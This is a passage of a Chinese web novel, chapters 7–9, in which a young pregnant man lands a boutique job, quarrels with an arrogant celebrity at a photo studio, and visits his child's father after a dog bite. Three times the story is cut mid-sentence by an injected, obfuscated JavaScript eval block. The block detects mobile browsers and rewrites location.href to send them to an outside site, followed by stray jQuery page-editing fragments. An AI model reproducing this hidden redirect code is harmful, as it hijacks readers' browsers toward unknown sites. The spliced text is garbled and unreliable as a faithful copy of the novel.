《一个罐罐》 7. 第 7 章 “对,陈今。” 陈今不管对方好不好相处,表明诚意和放柔姿态,是他从事服务行业一贯对人的态度,他露出标准明媚的笑,伸手,“您好。” 秦柯意和他握手。 大大方方盯着他脸蛋看,顺带点评:“诶哟,比照片还好看点。” “谢谢。” 陈今害羞一笑。 他又谦虚摆手,怕冷场,他就近和周围人打招呼。 陆陆续续有人回应他。 几个人互相也不说话,不太熟的样子。 “你们先走。” 秦柯意直接把人都叫了下去。 众人离场。 陈今兜着包主动发问:“我们面试开始了吗?” 秦柯意自然一笑。 她反手从柜台后拿起一份文件,交递给陈今,“看看吧,没问题的话就签字。” “我姓秦,秦柯意,可以叫我Kim。” “谢谢Kim姐。” 陈今知道有关系好走后门,也不知道这么轻松。 看品牌调性的时候,他就打算花心思好好准备面试的。 他拿着合同坐下。 工资周结,刚开业这两周他得全天在店里,负责一切接待和导购工作。 陈今看了眼薪资和构成情况。 心里算了笔账。 好家伙,摄影馆得请假了。 陈今看合同速度快,脑子也转,拿桌上刚才一伙人留下的签字笔,刷刷签了个名字,真诚发问:“我这算不算走后门?” “不会。” 秦柯意咖啡吸管指了指楼下。 “我招人就得符合品牌调性,不能端着,能给我客人带来好体验的,刚才那群人有谁比你出挑的吗?尤其是那俩男的,脸上比我粉都厚。” 她转头放下咖啡。 “还是你看着顺眼点。” 富婆说话就不怕得罪人。 陈今都没听到下头门铃响,人估摸都没走呢。 他只能点头。 “好,我知道了。” “我还招了两个人,到时候和你一起,谁负责哪个分区还没定。” 秦柯意依旧毫不客气打量他五官,一直从头发丝儿到鞋子,点头,“艾艾说你干活很麻利,我先试试。” “应该的。” 陈今冲人笑,已经很知足了。 “除了卖咖啡和面包店收银,你还做过什么工作?” 秦柯意保留其中一份合同,压在柜台上,拿起一份员工守则给他,“平时都自己搭衣服?” “对的。” 陈今接过就看。 翻阅时还能分神出来回答: “我之前在摄影馆工作,公司有一条穿搭全勤奖,封顶两千。” 他审美受周绮语影响最大—— 她是圈内小有名气的摄影师,有审美,有才,有想法,接待的客人质量也非常高,来馆约拍的顾客几乎不缺钱。 隔三差五就有高质帅哥美女。 五年前。 陈今从江市高考完,一个人大包小包坐高铁终于来到首都和爸妈住,什么也不会,又拮据,二十九块九一件的纯色T恤三四件,两条牛仔裤,他能换着穿半个月。 靠着朋友介绍,他去了摄影馆应聘平面模特。 人靠衣装。 周绮语愣是挖掘出了他的上限。 拿那条穿搭全勤的员工不少。 一开始,陈今完全是冲着钱去,拼命汲取学习新知识,踩了不少坑,没钱的时候买新衣服又要考虑观感,又想穿得久,又得考虑性价比。 在一个圈子里越待越久。 陈今便越体会到外形的重要性。 出了这种看脸的圈子也一样,不管做什么工作,你长得好看别人骂你都少两句。 陈今抠搜,可对于打扮自己他又很舍得下去钱,他很会趋利避害,这是一个对他目前职业规划来说长远的投资。 他靠颜值变现的红利不少。 “主意不错。” 秦柯意扯了条凳子坐陈今对面:“说说你的那条穿搭全勤,我听听。” 陈今知无不言。 对他来说,和钱相关的所有事情,都是能背下来的程度。 面试完他,秦柯意显然心情好。 请开咖啡店的闺蜜和陈今一块儿吃了个饭。 高级大楼,全景玻璃电梯到达顶层,那餐厅长得和什么上流社会资本晚宴似的。 陈今庆幸自个儿收拾了来的。 偷摸搜了下餐厅定位。 嚯! 人均两千八。 两个富婆在他面前自如闲谈。 陈今有作为下属的自觉,也不藏着擅长的东西,主动提出帮忙拍照。 “好啊。” 秦柯意拿出名牌包里的相机,递给他的时候晃了晃:“会吗?” 老本行了。 陈今接触过不少相机牌子,笑道:“当然。” “对的——” “这边手,稍微收回一点点,眼睛看我手指的位置。” “这张很漂亮。” 坐回去干饭,陈今自动转换成工具人。 秦柯意还在反复欣赏照片,闺蜜笑着问:“弟弟可以吧?” “可以。” 秦柯意莞尔。 她放回相机托着下巴,手肘戳了下陈今,歪头看他,“你有女朋友了么?” “咳——” 陈今立刻拿过纸巾。 他擦嘴的时候脑子也灵光:“有、有了。” “谈上了?上个月还没呢。”咖啡馆老板娘开始拆台,说:“这个我真不知道的。” 秦柯意又看向陈今。 后者如坐针毡,一侧手机屏幕亮起来,他立刻捞起来看,心一喜起身,“我接个电话。” 秦柯意点头放人了。 陈今心里长舒一口气,走去旋转楼梯上,撑着栏杆接听,“喂?” 陆应倬听出他语气欢快。 “吃午饭了?” 陈今想到今早自己拒绝他的午饭邀约,点头:“嗯,今天我面试成功了,上司请吃饭。” 陆应倬说:“恭喜。” 陈今无意识捏了下木质扶手,低头时嘴角微扬,说:“谢谢。” “找我有事吗?” 陈今感谢他的救场。 出来太久也不礼貌,他一点儿也不想兜圈子。 “你之前和医生说有孕反,我让人开了一些补剂给你。”陆应倬说:“一会儿给你送去。” “行。” 陈今下午得回摄影馆上班,要一个具体时间:“什么时候来?” “看你。” 陆应倬明白他“行程”很满。 他看了眼表,清楚明白给出区间:“我三点五十左右结束一个会。” “三点五十……” 陈今觉得不太妙。 他接到周绮语通知说,等下要对接一个明星工作室,直接了当说:“不太方便,我今天要加班,要不这样——我给你发我家定位,你叫个跑腿,把东西送到我家门口就行。” 陆应倬不答反问:“加班到几点?” “不知道,要看拍摄情况。” 陈今想了下安排,按照之前最难搞的客户经验说:“估计晚上十一点之前散不了场。” 陈今觉得自己要挨骂。 陆应倬却只说:“知道了。” 通话结束,陈今向一个路过的服务生问了洗手间的位置。 再次回到餐桌,秦柯意没继续提女朋友的事,气氛好了起来,几个人有说有笑,融洽和谐。 午餐过后。 陈今婉拒了秦柯意要送他上班,晃了晃包上的钥匙笑:“谢谢Kim姐,我电动车还停在艾姐咖啡馆那边,我们一起回去就行,一会儿我自己走。” “那好吧。” 秦柯意直视他眼睛。 陈今主动别开视线。 路上,秦柯意和闺蜜约了去换指甲。 陈今到之后与两人道别,直奔自己的电动车,单手回着消息,从包里掏了张纸擦带雨点子的坐垫,跨坐上去。 “什么玩意儿这么臭——” 一个咋乎高亢的声音冲进耳朵,带着不耐烦。 陈今侧头看了眼。 一男一女,两个人脸上表情都不太好看,感觉刚吵架完。 女方站在一边,男方也黑着脸,却还是主动在整理被打翻奶茶的电动车坐垫,这种意外场面,无疑是火上浇油。 男生动作越来越暴躁。 陈今和他们隔了两辆车。 他收起手机,戴上头盔,车子开出去正好要绕过那个女生身后,他拉开包链,找出几张消毒湿巾,还有一个透明塑料袋从侧面放女生手里。 “嗯?” 女生转身看他。 陈今已经骑车开走了。 这一片都是商业区。 算着时间,陈今还在路上接了两个快单,其实并不是特别顺路,送完单子,他需要绕一下才能去摄影馆。 好在他对这一片非常熟悉,全部准时送到。 两点半,他到达摄影馆。 周绮语从接待室出来。 身边下属跟了一路,“试妆的部分还要改,艺人眼睛划伤了,小星老师请了半小时假,还没过来看情况,他经纪人又说必须保留之前AC两版……” “先通知小星一声。” 周绮语别了下耳边的卷发,一抬头,直接招手叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220153|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人:“陈今。” 陈今打卡拍照完,拿着工牌往这边赶。 “提前到了?” “在VIP接待室。” 周绮语多扫了一眼他身上,点头,“找小于去拿pad,备用方案在文件库里面,让他们看一下,确定好的计划和提的新要求都记下来,十分钟后告诉我。” 她又想到一点,“小心点,对接人不太好说话。” 陈今点头,“明白。” “去吧。” 周绮语接了个电话走了。 陈今提前知道部分拍摄内容。 他戴好工牌,拿到平板电脑,和实习助理小张了解最新情况,准备进去,小张也跟上,“小陈哥我和你一起。” 陈今抬手轻叩。 “进——” 陈今推门进去,一眼望去四五个人,站着坐着都有。 所有人,以正对门那个沙发椅主位扩散开来一种气氛,并不轻松。 “你好,我来负责拍摄计划修改和确定内容。” 陈今进入状态,颔首,“请问之前是哪位和我们周总做的对接?” “这里。” 一个穿洋红色外套的女人起身。 气场和旁边的工作人员不一样,她起来后,身边还跟了两个人,都坐在了会议桌上。 看样子是经纪人。 陈今折好pad平放到这位经纪人面前。 交谈之间,他清晰转达周绮语的想法和意见,点开手机录音,拿桌面的本子和笔,给一旁拘谨的小张递去。 对面说了一大堆。 小张一个字一个字记重点。 期间,交谈部分过多涉及某位大咖。 陈今不八卦,也不由往主位那边看了眼,只一眼,便收回眼睛继续工作。 是个挺好看的男人。 烟灰色牛仔阔腿裤,同色系衬衫领子宽长,黑皮面大衣质感十足,看着不是一般的昂贵。 那人仄歪着头在睡觉。 露出的墨镜之外的五官分明硬挺,没有带妆,皮肤的素颜状态已经非常不错了。 “这几个想法还可以。” 经纪人一个接一个pass备选计划。 陈今仍保持良好的沟通态度,直到她又敲指了一个,“主题很好,但也不行,段纪宁不会想穿这套,皮面的衣服不要给他贴肤穿,尤其搭配漏肌肉,他觉得恶心。” 陈今:“……” 他不信邪,看了眼做好的ppt。 周绮语想法很好也很落实,拍摄细节张力很强,明明就非常好看。 陈今理解为什么说对接人难搞。 他撑着桌子一个个确认,“那就是……这两个部分需要改,这一套,是您之前和周总敲定过的,段先生受伤的部分,一会儿化妆师会看着做一些处理。” “尽量保留突出他的原生五官。” 经纪人一再强调。 “好。”陈今收拾东西之前特意问:“我方便看一下段先生的划伤情况吗?” 经纪人似乎没想到他会有这个要求。 她没有直接回答,而是说:“他有起床气。” 陈今做事周全,想拍张照给化妆师同事小星,保证说:“我会注意。” “那你去吧。” 经纪人翘着二郎腿开始回消息。 陈今转身走向段纪宁。 他觉得自己被投射了好几道目光,不知道是吃瓜还是同情,总之,他也意识到这不是个好差事。 这男明星估计脾气不好。 陈今确保不会打扰到对方安睡,静音手机,抬手从上方拍了一张。 伤口不是很完整。 陈今没法子,只好小心翼翼拉开男人的墨镜,全程没有接触,抿着嘴凑近拍了一张。 “咔——” 沙发椅的脚蹬板瞬间下沉。 陈今拍下照片那一秒,被人大力绊了一下,手机也飞了出去,惊恐中,他对上一双偏冷偏傲气的眸子,不耐烦的意味无比浓郁。 操! 陈今在自己肚子砸在沙发靠手之前,迅速撑了一下,惊出一身冷汗,如此一来,他腿一软跪在地上、男人腿旁边。 头顶传来一声不大不小的嗤笑。 心有余悸。 陈今从头到脚的懵逼。 他扶了下肚子,又无意看到一只按在椅子侧面控制键上的手。 手掌很大,指节很长。 这人故意的! 平常陈今根本不会计较。 他手从肚子上下来,顿时怒火中烧,一双眼中的怒气、嫌恶一同汇聚为淡淡的红。 段纪宁也看着他。 陈今脸色已经很不好了,捏紧拳头起身,一字一句清晰:“是不是有病?” 8. 第 8 章 真特么有病。 陈今只知道自己在工作中,从来没这么硬气过。 他挣过很多圈子里的钱,大部分都是服务性质的,遇到的人态度好坏都有,更多的,他享受于自己幸运得到的一切。 陈今以为自己会觉得抱歉。 他怕让周绮语难做,怕影响同事,怕场面难看……但他没有。 段纪宁的眼神更是有趣。 他从一种高高在上的看戏,转而为薄怒,凝视打量。 所有人都对陈今投来了不同的目光。 或惊恐或讶异。 小张目睹了全程。 她心里为陈今打抱不平,跑过去捡起他的手机,“小陈哥你没事吧?” 陈今只盯着靠坐在沙发椅上的段纪宁,不说话。 对方也回看他。 一个站着一个坐着,在外人看来气势还是差一大截。 “不好意思啊!” 小张替陈今道了歉,拽着他手走,又一次朝周围几人都鞠躬:“不好意思各位。” 段纪宁双腿叉开。 还是那样随意的态度。 客观来说,他长得实在好,眉骨到眼皮上方一条血痕划伤,带着细微血痂,几乎不影响这人的脸蛋表现力。 “出去。” 经纪人走过来催促。 陈今最后看了一眼段纪宁。 他反手拉住还在鞠躬道歉的小张,将人一起带了出去。 “……他们不会找事儿吧。” 小张出门第一句话就是这个。 “我自己要得罪人,和你没关系。” 陈今给化妆师发去图片,直接点了删除加清空最近删除,抬起头时,已经调整好状态,“我去找周姐。” “好。”小张又不放心问:“小陈哥你是撞到哪儿了吗?我刚看你脸都白了……” “腿估计青了。” 陈今不太想解释自己发脾气的原因,撒了个谎,“走了。” 小张:“要不我替你去吧?” “不用。” 陈今拍了下她的肩膀安慰。 说完他就走了。 找到周绮语交接工作,坦白了与段纪宁的口角,陈今表示:“姐,后续要是他们找事儿我都尽量在场,不连累你们。” “你还去人家跟前晃?” 周绮语忙得手都起火星子。 整理好素材和组里的人做好通知,拿手机戳他肩膀,“你,今天别上工了。” “姐——” 陈今吓了一跳,他往前一步撑上桌子,“我……” 周绮语直接绕走了。 只来得及一句:“今天工钱我扣掉了,去医院看腿,有事儿我报销。” 办公室的门啪嗒合上。 陈今露出一个有些傻的笑。 到了这时候,他才真正分出时间,安抚从吃完饭就一动不动的小东西。随便揉了两把。 心有灵犀似的…… 肚皮里头被小小顶了一下。 陈今摸完又觉得诡异了。 赶紧放下手,抓了两把后脑勺头发。 他看手机时间,无意发现钢化膜碎了两条裂,他蹲下撬开膜看屏幕状态,里面也碎了,还是一条贯穿中间的裂口。 “我靠……” 陈今瞪大眼睛。 早知道让那人赔钱了! 狗屁玩意儿! 他去年好不容易才狠心入的二手高端机! 陈今难受死了。 一看时间也是,早得很,陆应倬估计才刚进会议室十分钟。 陈今又没真伤到腿。 回家或者去医院休息是不可能的。 他在工位上处理了一下还能做的事情,和在影棚帮忙的小张通了个气儿,告诉她几条花絮记录细节,“徐哥在场你不会的就问他,休息时间问,知道不?” “好!” 陈今收拾东西提前下班。 他戴好装备,骑上车,点开常用的跑腿平台,他靠手速接下一单,“距离三公里,请沿当前道路行驶,五百米后,下个路口左拐——” 陈今长腿收起脚撑。 出发挣钱! . . 跑了整一个下午,也有好事。 陈今搞到了一个急件订单,备注打赏一百五,除了去取东西,他得顺带去花店带一束预定好的鲜花,中高档小区电梯也很方便。 陈今眼见单主开门,附身道:“您好,方便告诉我一下取件码吗?” “0657。” “谢谢,祝您生活愉快。” 陈今帮忙带上门。 眼看要六点。 陈今那个胃比他送达时间还要准时,又开始叫嚣,实在没招了,他开车随便找了家敞亮干净的店面,坐下扫码,点了碗加量的过桥米线,配菜继续加加加…… 上菜是真的快。 三五分钟就端上来了。 他一边吹一边吃,被烫了也只一个劲儿喝水。 吃着呢。 手机又开始嗡嗡响。 陈今捞过来,连名儿都没看,点开,“喂——” “陈先生您方便吗?” 何卫澜的声音值得人过耳不忘,太标准,还怪好听:“我到您工作的摄影馆园区了,陆总为您准备了晚餐,还有一些药品。” 陈今看了眼外面街道,“我现在不在那儿。” “您在哪儿,我们可以开车过来。” 何卫澜就是这么耐心。 “在……” 陈今想拒绝也没办法了,“我给你发个定位。” “好的。” 何卫澜等他主动挂电话。 陈今发了定位,看面前才消灭三分之一的饭,舍不得浪费,把上面一圈配菜全吃光,又干了两口米线,背包结账走人。 他跨坐上自己的电车。 没两分钟。 身边有个路人过来,“哥们儿,方便加个微信吗?” 一眼,陈今就觉得不太对劲,拒绝了。 “不要。” 那男人撤了嘴里的烟踩在脚下。 背后传来呲呲的催促声,往后一看,他脸色有点不太好看,也没有走的意思。 陈今这才发现他背后有一桌人。 男男女女。 也不是说以貌取人,但看起来确实都不正经,大家伙儿也不是什么十几岁的学生了,各个打扮花哨的社会人士模样。 “给个面子啊。” 男人叉腰走近两步,还凑近看他脸。 陈今被他身上的烟味呛得想呕,装作没听到,收回脚,电动车一个打扭就开远了。 “诶我艹——” 差点被后轮压到脚的男人大喊。 陈今开更快了。 一路直行到大学城附近,直接给何卫澜去了电话,“那边不方便停车,我在大学城路标这儿。” 挂了电话。 他在停车坪栅栏前踱步。 大理石路板被环卫工清扫得很干净。 正是晚饭点,大学城外卖单多,只是这种单子陈今一般不想,先不说校园送被交接点承包垄断,秒抢个单都心累。 不少学生出来吃饭。 陈今没吃饱,依照他现在的吃法,就算他刚才把那一碗米线干完了都不一定能饱,正想着,对面一辆崭新的银灰色路虎车窗落下。 何卫澜和他招手。 陈今看了眼紧闭的后车窗,没开,车从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220154|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方一百米掉头,往他这边来。 “陈先生。” 何卫澜下车为他打开后座车门。 门一开。 宽敞到他睡下都没问题。 陈今下意识问:“他怎么没来?” 何卫澜一看他,陈今就不受控制结巴,“他自己说要过来给我送东西……” “陆总本来是准备要过来的。” 何卫澜似乎在犹豫要不要说,还是笑道:“上车说。” 陈今回头一指。 “我车……” “帮您喊了拉车。” 何卫澜亮出手机上的订单,显示还有五十米就到,“送到您楼下的大棚可以吗?” 陈今点头说好。 坐上车,他看着面前已经支起的桌板和保温袋。 一打开,里面满当的饭盒,最上面浓郁的玉米龙骨汤一口鲜美。 食材过分新鲜了。 陈今当即胃口大开,又上前问,“我在车上吃东西是不是不太好?” “当然不会。”何卫澜回复好消息通知,微笑作答:“我们都已经吃过了。” 这样一来。 陈今完全没有任何心理负担了。 面对新鲜可口的饭菜,他吃很快,吃着这一口看下一口都觉得香。 何卫澜打开前置相机。 为掩饰动作,他自己半张脸占据一部分屏幕,按下拍照键,转手给陆应倬发去。 车子开得很慢。 应该说完全是在绕一个大圈圈。 陈今没发现。 等他吃好饭擦嘴,何卫澜才问:“陆总特意嘱咐我,说您今天工作很忙,陈先生怎么没有在摄影馆呢?” “闯祸了。” 陈今自己收拾好饭碗,“老板让我休息一天,怕人家找我麻烦,我在外面跑一下午单子。” 何卫澜点头:“原来是这样。” “事情严重吗?” “不知道。” 陈今也想下工了再问周绮语,怕打扰她工作进度,“我也怕大家因为我被为难,到时候问问同事。” 大概率不会。 周绮语看似好说话,实际上也很强势,十分护犊子。 “这样也好。”何卫澜转头说:“陈先生,如果有难处或者想对陆总说又觉得不太方便,可以对我开口,我会准确帮您转达。” 他给司机换了导航路线。 将储物箱里的透明手提袋给陈今,“这是陆总托我带来的,不早了,我们先送您回家。” “他很忙吗?” 陈今一眼看到里面的补剂。 每个都分开装,各自都贴了服用标签。 “陆总下午四点就开完会了。”何卫澜看后视镜里陈今,说:“出了一点小意外。” 陈今:“什么?” “块头耳朵被咬掉了一半。” 何卫澜补充解释:“是陆总养了四年的一只边牧。” “今天保姆遛狗的时候遇到一条德牧犬,身上有给块头做的奖励零食,那条德牧紧盯不放,冲上去咬了保姆的腿,块头也把对方眼睛咬出血,两条大型犬撕咬很严重。” 狗…… 陈今眼神一变,心揪起来,“陆应倬还在医院陪他的狗?” “刚回去没多久。” 何卫澜又添了一句:“块头麻药的时候有点应激,陆总替换医护人员的时候没注意,手被咬了一口。” “他又被狗咬了?!” 陈今音调拔高。 何卫澜有些讶异地看向后座,“陈先生?” “我能去看看吗?” 陈今看到路线往出租屋走,抓了下何卫澜的肩膀,显露急切心思,“我看一眼他怎么样就走,行吗?” 9. 第 9 章 陆家不愧是大家族。 如果不是陈今让何卫澜带自己来找人。 他来首都五六年都不知道……这一片被熟知寸土寸金的中心区,还有专门留出来给人建洋楼别墅的地方。 青徽公馆。 陈今进去之前,看了眼巨型顶级黑山岩造景上的文字。 之前他接陆应倬的代驾单,发生关系的那晚,来的不是这儿。 不知道这货在首都有多少房产。 这区域占地很大,光进去就绕了一圈。 一幢一幢复古别墅都有特殊的编号,互不干扰,共享的喷泉和人工湖泊区域赏心悦目。 临近年底。 绿化带随时有专人在处理修剪,风景十分宜人。 冬日夜,昏黄路灯。 路上家家别墅投射出来光源,干净无尘的道路上,竟也有人推着高级婴儿车走路,一番别样顶级幸福的风景。 陈今从没有像这样,一眼喜欢上一处的房子。 不过很快他就不想了。 首都,富人区,有价无市。 不管哪个条件他都得努力几辈子。 可陈今转念一想…… 又忍不住笑了。 他自个儿肯定是高攀不上了,以后他儿子有就行。 陆应倬犯不着对他这种平庸到不能再平庸的人说谎。 不管出自什么原因,或许应该信他一次——和陆家无关,陆应倬答应他的,只会有这一个孩子,这话是真的。 “到了。” 何卫澜提醒了一句。 他下车打算替陈今开车门,人已经风风火火跳下来了。 陈今站在这栋格外大的别墅门前。 要来的人是他。 此时,踟蹰不安的人也是他。 何卫澜替他上前按了门铃。 留下语音呼叫:“你好孙阿姨,我是小何,有贵客来看望陆总,麻烦您开一下门。” 只三秒。 锁扣咔一声解开了。 何卫澜上前推开示意,“我还没有问陆总伤口情况,正好,陪您一起去看望。” 陈今心想:大好人。 何秘书是个大好人。 陈今第一次踏足陆应倬的私人领域。 有何卫澜这么个主心骨,他整个人状态都舒服了很多。 忧心之余,他竟还能分神出来打量陆应倬的家。 竟不是他想象中的死气沉沉。 巧思非常多—— 南北通透,主打木质结构的设计,这种洋楼别墅的装修风格本就不常见,如果非要说,其实更贴近民国时期的融合建筑,充斥着浓浓的怀旧氛围。 陈今差点以为自己穿越了。 太洋气了。 他跟在何卫澜身后,看了一堆不同类型的盆景和植物,配合一些古老现代融合的设计,充斥着别墅的各个角落,被打理得井井有条。 整体黑木杏三色。 院子里还有树影和灯光。 屋内的新风系统也全力运作。 “何秘书来了。” 保姆孙阿姨从厨房匆匆而来,放下果盘茶水,一见陈今立马问:“这位是……” “陆总的朋友,陈今先生。”何卫澜弯腰上前帮忙,将果茶放到陈今手中,巡视了一圈大厅,自己也坐下,“我们先坐一会儿吧。” “对对对。” 孙阿姨说:“先生在楼上洗澡呢。” “他被狗咬了不是要打疫苗吗,怎么可以碰水?”陈今放下杯子起身,“我去看看。” 他说着就上了楼梯。 一步当三步走,咚咚咚的清脆脚步,连一句人在哪儿都没问。 孙阿姨说:“这……” 何卫澜捧着茶杯暖手,说:“没事的孙姨,任他去吧。” 他眼神十分有说服力。 孙阿姨有点懂了,只确定一遍:“所以他是先生的……” “嗯。” “董事长和太太都不知道吧?” 孙阿姨年逾四十,在大家族里做久了,眼力见和接受能力都是一等一的,于是更疑惑:“前几年先生不是还经常失眠,苏医生和段先生都经常来,还帮先生花了不少时间找一个女孩子,怎么现在……” “陈今人蛮可爱的。” 何卫澜避而不答。 只说:“有机会的话,孙阿姨您之后多多照顾一下。” 孙阿姨自然不再多问,点头诶了一声。 …… 另一边。 陈今已然迷路了。 他不知道上了二楼之后,这别墅还整的和个迷宫一样,好看是好看,但左右都是房间。 陈今也不敢随便进。 打开看一眼没灯就关上了。 “啪嗒啪嗒啪嗒……” 耳边总有一道道诡异的声音。 陈今听得汗毛竖起。 虽说有全屋智能,但光从外观和气场来看,他总觉得这别墅建造历史也久。 走过开错的房间。 他再一口气推开一道门,光透了出来。 就是这儿! 没想到—— 迎接他的是一道亮晶晶的目光。 “啊啊啊靠!” 陈今本来没看到东西。 只觉得耳边诡异的声音消失了,他僵硬着目光往下,对上一团黑白毛茸茸的家伙。 他魂都吓没了。 门都没扒紧,眼看就要往后滑一跤。 陈今还想拼死扒拉把手。 这时候…… 两侧肩膀多了一份支撑重量。 他整个人被稳住,也是求生本能,核心一使劲儿就站起来了。 陆应倬一身黑色浴袍,穿着拖鞋,湿着头发,顶着一张帅脸就这么出现在他面前。 等一下! 陈今猛地看向一句狗叫都没有的小东西。 那家伙长得倒是可爱,又大,没辜负块头这名儿,头上和耳朵绑着绷带,眼见狗屁股已经抬了起来…… 陈今又心一颤。 他一踮脚,双手将陆应倬整个人抱住,一把绕过脑袋,反手捂他眼睛,“乖乖乖!” 眼睛是被蒙住的。 哄人的话,也不知道是对谁说的。 陈今伸出食指,如临大敌对上块头清澈的目光,“坐,坐下会吗?” 块头歪头。 屁股很自然放了下来。 “好狗!” 陈今信心大增。 他把陆应倬往后一推,挡在他身前,装作要往卧室里跑的样子,“来追我!” 块头手抬起来一点。 陈今正要兴奋,边牧笑着的舌头收起,一扭头朝陆应倬的方向去了。 “别别别!” 陈今也赶紧冲过去。 陆应倬看他这套莫名其妙的操作,他弯腰,一把抓住块头的嘴筒,蹲下检查它的伤势,块头也乖乖躺下,看上去可以随便被爸爸怜爱。 男人动作无比自然。 看不出一丝一毫害怕。 陈今顿在原地不动,“你……” 陆应倬调整好绷带,揉了把狗脑袋,对块头发号施令:“自己回窝。” 据陈今了解,边牧这个品种虽然聪明,可不少养过的人都吐槽脑子太灵光,服从性及其不稳定。 块头吐着舌头。 在陈今腿边转了两圈。 它尾巴毛蹭了他几下,狗鼻子拱开门缝,就真的回自己狗窝了。 陈今不禁嘴角上扬。 乖呢。 “一个人来的?” 陆应倬上前拎他的包,陈今下意识抬手,所有东西的重量都到这人手里去了。 “何先生送我来的。” 陈今没错过他手臂的纱布,皱眉,“你手不是被咬了,怎么还洗澡?” “做防水了。” 陆应倬转身走了。 陈今东西在他手里,亦步亦趋。 陆应倬的卧室大的能闹鬼。 两米多的大床往正中央一摆,周围还铺着地毯,整个别墅地暖全开。 真特么会享受。 陈今撇撇嘴。 可看到他带着伤手去搜刮药盒袋子,他还是忍不住上前,“我给你弄。” 陆应倬看了眼他。 自己则坐回躺椅沙发,拿上手机,将带有伤口的手抬起给他。 陈今看到他岔开的长腿,大大咧咧一点儿也不避嫌。 这男人看着不是很白,大腿根常年不见光,雪白一片,再往里看黑乎的,不知道是裤衩还是—— 他忍不住踢了下,皱眉。 “腿并上。” 陆应倬猝不及防被他踢了一脚,手机差点砸地上,他颇为迟疑地看向已经开始处理他伤口的陈今。 人根本不看他。 陆应倬虽没说话,还是理了下浴袍。 伤口不太深。 就是看着青紫和一排咬痕,有点吓人,事实上,真正下口还没一公分。 陈今捏着棉签装作不经意问:“你……被狗咬了之后也不怕吗?不觉得有阴影?” 陆应倬低眸回复何秘说离开。 「知道了。」 何卫澜:「司机需要留下吗?一会儿接送陈先生。」 陆应倬余光都是陈今,轻点发送:「不用。」 何卫澜:「好的。」 陆应倬抬头,被陈今一双亮澄澄的眼吸引,问他:“你刚说什么?” 陈今丢了消毒棉签。 直接问他: “你为什么养狗?” “朋友送的。”陆应倬的回答让人真没问下去的欲望,他自己也知道,看陈今还一副非常想知道的样子,他又补充细节:“块头长得标准,聪明,也很少叫。” 陈今:“……” 啥啊。 不过也是,他一个陌生人第一次来这儿,那大狗对他亲亲热热的,感觉也没什么领地意识,一声都没叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220155|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 哑巴狗这是。 黑白色,边牧…… 陈今想到刚才块头的样子,心神一动,他告诉自己是巧合。 巧合罢了。 有些事情除了他本人,也没人会记得了。 “不是说要加班?”陆应倬看他蹲在地上那认真样,问他:“怎么上我这儿来了。” “和人客户闹了。” 陈今看到他做了防水还泡发的一截伤口,啧了一声,给他补涂药,“我这不是听说你被狗咬了吗,来看眼。” “吃饭了吗?” 陆应倬问他。 “你说呢。”陈今发现他没话找话,“不是你让何先生给我送的吗?” 没等陆应倬问味道怎么样,手臂上,拂过清浅的气息。 陈今给他吹了两下。 “疼么?” 陆应倬没说话。 陈今也不在乎,上好药,抓起搁在一旁的包背起,“不早了,那我就先走了。” 陆应倬也不拦着他。 陈今趁他低头整理纱布,多看了两眼。 可也就是一两秒,他扭头往外走,一打开门,腿就被一坨什么东西用力挤了挤。 他低头一瞧。 块头已然十分不客气地坐在他拖鞋上,仰头看着他,笑着吐舌头。 “小东西。” 陈今轻笑一声蹲下,揉它结实的身体,专门捧着它耳朵看了一下,捏着空荡荡的半截纱布,心疼说:“还真半块儿都没了……” 何卫澜说,打架的那只狗也眼睛瞎了。 大傻狗,看着发傻没脾气,其实还是挺凶的。 陈今扯块头两边脸肉往上堆,鼻子贴近,和它对视一会儿,他忽然笑了。 块头也眨巴着大眼睛,一直凑近他。 一人一狗初次见面。 玩得很来的样子。 陈今起身之前训狗握了个手,说:“拜拜。” “汪!” 块头突然叫起来。 绕着陈今着急般的绕圈,用前掌扒拉他。 “嘘——” 陈今不知道它为什么突然激动,蹲下来捏住狗嘴,“这么晚了别叫别叫。” “好了没?” 陆应倬不知从哪儿走出来。 他换了身最简单的白T黑裤,头发半干,腿长到蹲在地上的陈今半天没看到人脸。 头顶那人说:“送你回去。” “何先生在楼下。” 陈今站起来说。 “他临时有事先走了。”陆应倬抬手对块头做趴下的指令,“不动。” 块头四只脚跺了跺。 咽呜一声走出陆应倬房间,整个板鸭趴在地上,不动了,只眼睛溜溜转。 陆应倬将门拉开。 “走就是。” 陈今和陆应倬步行下楼,后者随手将护栏围上。 到了客厅,陈今才往上看一眼。 一个黑黑的、湿润的鼻头探出栅栏缝隙,正盯着他。 陈今一笑。 